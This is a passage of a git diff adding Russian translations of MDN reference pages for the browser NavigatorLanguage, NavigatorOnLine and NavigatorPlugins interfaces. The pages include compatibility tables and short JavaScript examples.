+   <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальная спецификация; снимок ранней версии {{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Языки</code></td>
+   <td>37</td>
+   <td>{{CompatGeckoDesktop("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Языки</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}} </td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/language/index.html b/files/ru/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..4ad6500fb0
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,138 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+translation_of: Web/API/NavigatorLanguage/language
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><span id="result_box" lang="ru"><span>Свойство <code><strong>NavigatorLanguage.language</strong></code></span> <span class="hps">только для чтения, оно</span> <span class="hps">возвращает</span> <span class="hps">строку, представляющую</span> <span class="hps">предпочтитаемый</span> <span class="hps">пользователем язык</span><span>, как правило это</span><span class="hps"> язык</span> <span class="hps">пользовательского интерфейса</span> <span class="hps">браузера</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>lang</em> = <em>globalObj</em>.navigator.language
+</pre>
+
+<h3 id="Parameters" name="Parameters">Значение</h3>
+
+<p>Строка представляющая версию языка которая определена в <a class="external" href="http://tools.ietf.org/html/rfc4646" title="http://tools.ietf.org/html/rfc4646">RFC 4646</a>. <span id="result_box" lang="ru"><span class="hps">Пример</span>ы <span class="hps">валидных</span> языковых кодов <span class="hps">включают </span><span class="atn hps">"</span><span>en</span><span>"</span><span>,</span> <span class="atn hps">"</span><span>EN-US</span><span>"</span><span>,</span> <span class="hps">"FR</span><span class="atn">", "</span><span>es</span><span>-ES"</span> <span class="hps">и т.д.</span></span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">if ( window.navigator.language.slice(0, 2) !== "en" ) {
+ doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 Web application', '#dom-navigator-language', 'navigator.language') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Начальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }}</p>
+
+    <p>Возвращает язык пользовательского интерфейса, но не значение<span style="line-height: 1.5;"> </span><code style="font-size: 12px;">Accept-Language</code><span style="line-height: 1.5;"> </span><a href="/en/HTTP/Headers" style="line-height: 1.5;" title="en/HTTP/Headers">HTTP header</a><span style="line-height: 1.5;">.</span></p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop(1.0) }}</p>
+
+    <p>До Gecko 2.0 {{ geckoRelease("2.0") }}, значение этого свойства было частью строки пользовательского агента, таким как передает {{ domxref("window.navigator.userAgent", "navigator.userAgent") }}.</p>
+
+    <p>Начиная с Gecko 5.0 {{ geckoRelease("5.0") }}, значение этого свойства основыванно на значении <code>Accept-Language</code> <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP header</a>.</p>
+   </td>
+   <td>
+    <p><span style="font-size: 12px; line-height: 18px;">11.0</span></p>
+
+    <p>Ближайщее доступное(не стандартиризованное) свойство<a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a> и <a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a>.</p>
+   </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("35")}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>
+    <p>{{ CompatNo() }}</p>
+
+    <p>Ближайщее доступное(не стандартиризованное) свойство <a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a> и <a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx" title="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a>.</p>
+   </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("35")}}</p>
+   </td>
+   <td>
+    <p>{{ CompatNo() }}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages","navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/languages/index.html b/files/ru/web/api/navigatorlanguage/languages/index.html
new file mode 100644
index 0000000000..560874e85d
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/languages/index.html
@@ -0,0 +1,118 @@
+---
+title: NavigatorLanguage.languages
+slug: Web/API/NavigatorLanguage/languages
+translation_of: Web/API/NavigatorLanguage/languages
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p>Свойство <code><strong>NavigatorLanguage.languages</strong></code> только для чтения, возвращающее массив {{domxref("DOMString")}} показывающее предпочитаемые пользователем языки. language описывает использование языковых тегов <a href="http://tools.ietf.org/html/bcp47">BCP 47</a>.<span id="result_box" lang="ru"><span class="hps"> В</span> <span class="hps">возвращаемом</span> <span class="hps">массиве</span> <span class="hps">они</span> <span class="hps">отсортированы по</span> <span class="hps">предпочтению с</span> <span class="hps">наиболее предпочтитаемым</span> <span class="hps">языком</span> <span class="hps">в первую очередь.</span></span></p>
+
+<p>Значение {{domxref("NavigatorLanguage.language","navigator.language")}} это первый элемент в полученном массиве.</p>
+
+<p>Когда значение изменится, так как изменится предпочитаемый язык пользователя {{event("languagechange")}} событие уведомит объект {{domxref("Window")}}.</p>
+
+<p>HTTP Заголовок <code>Accept-Language</code> в каждом HTTP запросе от браузера пользователя, использует такое же значение как и в свойстве <code>navigator.languages</code> кроме дополнительного<code> qvalues</code> (quality values) поля (например: <code>en-US;q=0.8</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>preferredLanguages</em> = <em>globalObj</em>.navigator.languages
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">navigator.language   //"en-US"
+navigator.languages  //["en-US", "zh-CN", "ja-JP"]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Начальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>32</td>
+   <td>{{ CompatGeckoDesktop("32") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("32") }}[1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]В Firefox, the <code>navigator.languages</code> значение свойства берется из <code>intl.accept_languages</code> предписаний.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.language","navigator.language")}}</li>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("Window.onlanguagechange")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatoronline/index.html b/files/ru/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..5274cf363f
--- /dev/null
+++ b/files/ru/web/api/navigatoronline/index.html
@@ -0,0 +1,122 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <code><strong>NavigatorOnLine</strong></code><code> </code>содержит методы и свойства<code>, </code>связанные со статусом подключения браузера.</p>
+
+<p>В NavigatorOnLine нет объектов другого типа, но другие интерфейсы, {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Интерфейс<em><code> NavigatorOnLine</code></em> не наследует других свойств.</p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorOnLine</code></em><em> не имеет никакой реализации и не наследует никакой метод.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений с последнего снимка,{{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}} с перврначальной спецификацией.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatoronline/online/index.html b/files/ru/web/api/navigatoronline/online/index.html
new file mode 100644
index 0000000000..afb1f8380b
--- /dev/null
+++ b/files/ru/web/api/navigatoronline/online/index.html
@@ -0,0 +1,147 @@
+---
+title: NavigatorOnLine.onLine
+slug: Web/API/NavigatorOnLine/onLine
+translation_of: Web/API/NavigatorOnLine/onLine
+---
+<p>{{ApiRef("HTML DOM")}}</p>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">сетевой статус</span> <span class="hps">браузера</span><span>.</span></span> Свойство возвращает логическое (boolean) значение, <code>true</code> означает online и <code>false</code> означает offline.<span id="result_box" lang="ru"><span>Свойство</span> <span class="hps">обновляется</span> <span class="hps">всякий раз, когда</span> <span class="hps">способность</span> <span class="hps">браузера</span> <span class="hps">к подключению к</span> <span class="hps">сети</span> <span class="hps">изменится</span><span>.</span></span> <span id="result_box" lang="ru"><span>Обновление происходит тогда</span><span>, когда</span> <span class="hps">пользователь следует по</span> <span class="hps">ссылке или</span> <span class="hps">когда</span> <span class="hps">скрипт</span> <span class="hps">запрашивает</span> <span class="hps">удаленную страницу</span></span>. <span id="result_box" lang="ru"><span class="hps">Например,</span> свойство<span class="hps"> должно</span> <span class="hps">вернуть <code>false</code></span><span>, когда</span> <span class="hps">пользователь кликает по</span> <span class="hps">ссылке,</span> <span class="hps">вскоре после</span> <span class="hps">потери</span> <span class="hps">подключения к интернету</span><span>.</span></span></p>
+
+<p>Браузеры реализуют это свойство по-разному.</p>
+
+<p>В Chrome и Safari, если браузер не может соединиться с локальной сетью (LAN) или роутером, это будет означать offline; во всех остальных случаях вернется <code>true</code>.Таким образом, мы можем предположить что браузер не в сети, когда возвращаемое значение <code>false</code>, но вы не можете предположить  что значение true обязательно обозначает что браузер может получить доступ к интернету. <span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">получать</span> <span class="hps">ложные срабатывания</span><span>, например,</span> <span class="hps">в случаях, когда</span> <span class="hps">компьютер</span> <span class="hps">под управлением</span> <span class="hps">программного обеспечения</span> <span class="hps">для виртуализации</span><span>, которое имеет</span> <span class="hps">виртуальные</span> <span class="hps">сетевые адаптеры</span><span>, которые всегда</span> <span class="atn hps">"</span><span>Подключено".</span></span> <span id="result_box" lang="ru"><span class="hps">Поэтому</span><span>,</span> <span class="hps">если вы действительно хотите</span><span>, чтобы</span> <span class="hps">определять состояние</span> <span class="hps">браузера</span><span>,</span> <span class="hps">вы должны разработать</span> <span class="hps">дополнительные средства</span> <span class="hps">проверки</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Чтобы узнать больше</span><span>, см</span>отрите <span class="hps">статью</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">В Firefox</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>, переключение</span> <span class="hps">браузер</span>а <span class="hps">в автономный режим</span> <span class="hps">посылает</span> </span><code>false</code> значение. Во всех остальных случаях возвращается значение<code> true</code>.</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Вы можете</span> <span class="hps">увидеть изменения</span> <span class="hps">в</span> <span class="hps">состоянии сети</span> <span class="hps">путем прослушивания</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> и <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>online</em> = <em>window</em>.navigator.onLine;
+</pre>
+
+<h3 id="Описание">Описание</h3>
+
+<p><code>online </code>это логическое <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Посмотрите на <a class="external" href="http://html5-demos.appspot.com/static/navigator.onLine.html">действующий пример</a>.</p>
+
+<p>Для проверки находитесь ли вы в сети, вызовите<code> window.navigator.onLine</code>, как показано в примере:</p>
+
+<pre class="brush: js">if (navigator.onLine) {
+  alert('online');
+} else {
+  alert('offline');
+}</pre>
+
+<p>Если браузер не поддерживает<code> navigator.onLine</code> в примере выше, то всегда будет<code> false</code>/<code>undefined</code>.</p>
+
+<p>Чтобы увидеть изменения в состоянии сети, используйте <code><a href="/en-US/docs/DOM/element.addEventListener" title="DOM/element.addEventListener">addEventListener</a></code> для прослушивания событий <code>window.ononline</code> и <code>window.onoffline</code>, как показано в примере:</p>
+
+<pre class="brush: js">window.addEventListener("offline", function(e) {alert("offline");})
+
+window.addEventListener("online", function(e) {alert("online");})
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>Windows: 11 [2]<br>
+     Mac: 14<br>
+     Chrome OS: 13<br>
+     Linux: всегда возвращает <code>true</code></p>
+
+    <p>Просмотр истории <a class="external" href="http://crbug.com/7469" title="http://crbug.com/7469">crbug.com/7469</a></p>
+   </td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}  [1]</td>
+   <td>8 [3]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>5.0.4</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>BlackBerry</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Android 2.2 (<span class="short_text" id="result_box" lang="ru"><span class="hps">Неисправность</span> <span class="hps">в компоненте</span> <span class="hps">WebView</span><span>, см</span> <span class="hps">описание</span></span><a class="external" href="http://code.google.com/p/android/issues/detail?id=16760">16760</a>)</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}  [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>BlackBerry OS 7<br>
+     <span style="line-height: 1.5;">BlackBerry OS 10</span></p>
+   </td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(29)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> {{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">и</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">браузер возвращает</span> <span class="hps"><code>true</code>, когда</span> <span class="hps">режим</span> <span class="atn hps">"</span><span>Работать автономно</span><span>"</span> <span class="hps">отключен, и</span> <code><span class="hps">false</span></code><span>, когда</span> <span class="hps">он включен</span><span>,</span> <span class="hps">независимо от фактического</span> <span class="hps">подключения</span><span>.</span></span></p>
+
+<p>[2]<span id="result_box" lang="ru"><span class="hps"> Более ранние версии</span> <span class="hps">Chrome</span> <span class="hps">возвращали</span> <span class="hps"><code>true</code> неверно, когда</span> <span class="hps">вкладка</span> <span class="hps">открывается впервые,</span> <span class="hps">то он</span> вначале сообщает правильный статус <span class="hps">подключения</span> <span class="hps">после</span> <span class="hps">первого события</span> <span class="hps">сети.</span></span></p>
+
+<p>[3] В IE 8 "online" и "offline" события находятся в <code>document.body</code>; Под IE 9 они оба находятся <code>в document.body</code> и <code>window</code>.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">См</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для более детального</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, а также</span> <span class="hps">новых возможностей</span> <span class="hps">в автономном режиме</span><span>,  </span><span class="hps">введенных</span> <span class="hps">в</span></span> Firefox 3.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Описана в</span> <a href="http://www.whatwg.org/specs/web-apps/current-work/#navigator.online">рабочем проекте HTML 5</a></span></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Working Off the Grid With HTML5 Offline</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": What does it mean and why should I care?</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Offline Web Applications</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html
new file mode 100644
index 0000000000..2273585e11
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/index.html
@@ -0,0 +1,105 @@
+---
+title: NavigatorPlugins
+slug: Web/API/NavigatorPlugins
+translation_of: Web/API/NavigatorPlugins
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p><span id="result_box" lang="ru"><span>Интерфейс</span> <code><strong><span class="hps">NavigatorPlugins</span></strong></code> <span class="hps">содержит методы и</span> <span class="hps">свойства, связанные</span> <span class="hps">с</span> <span class="hps">установленными плагинами</span> <span class="hps">в браузере</span><span>.</span></span></p>
+
+<p><code>NavigatorPlugins</code> не содержит в себе объектов другово типа, но другие интерфейсы, такие как {{domxref("Navigator")}} реализуют его<code>.</code></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов поддерживаемые браузером.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает листинг плагинов {{domxref("PluginArray")}}, установленных в браузере.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Интерфейс <em><code>NavigatorPlugins</code></em> не наследует никаких методов.</p>
+
+<dl>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает флаг {{domxref("Boolean")}} показывающий включен ли java в браузере или нет.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
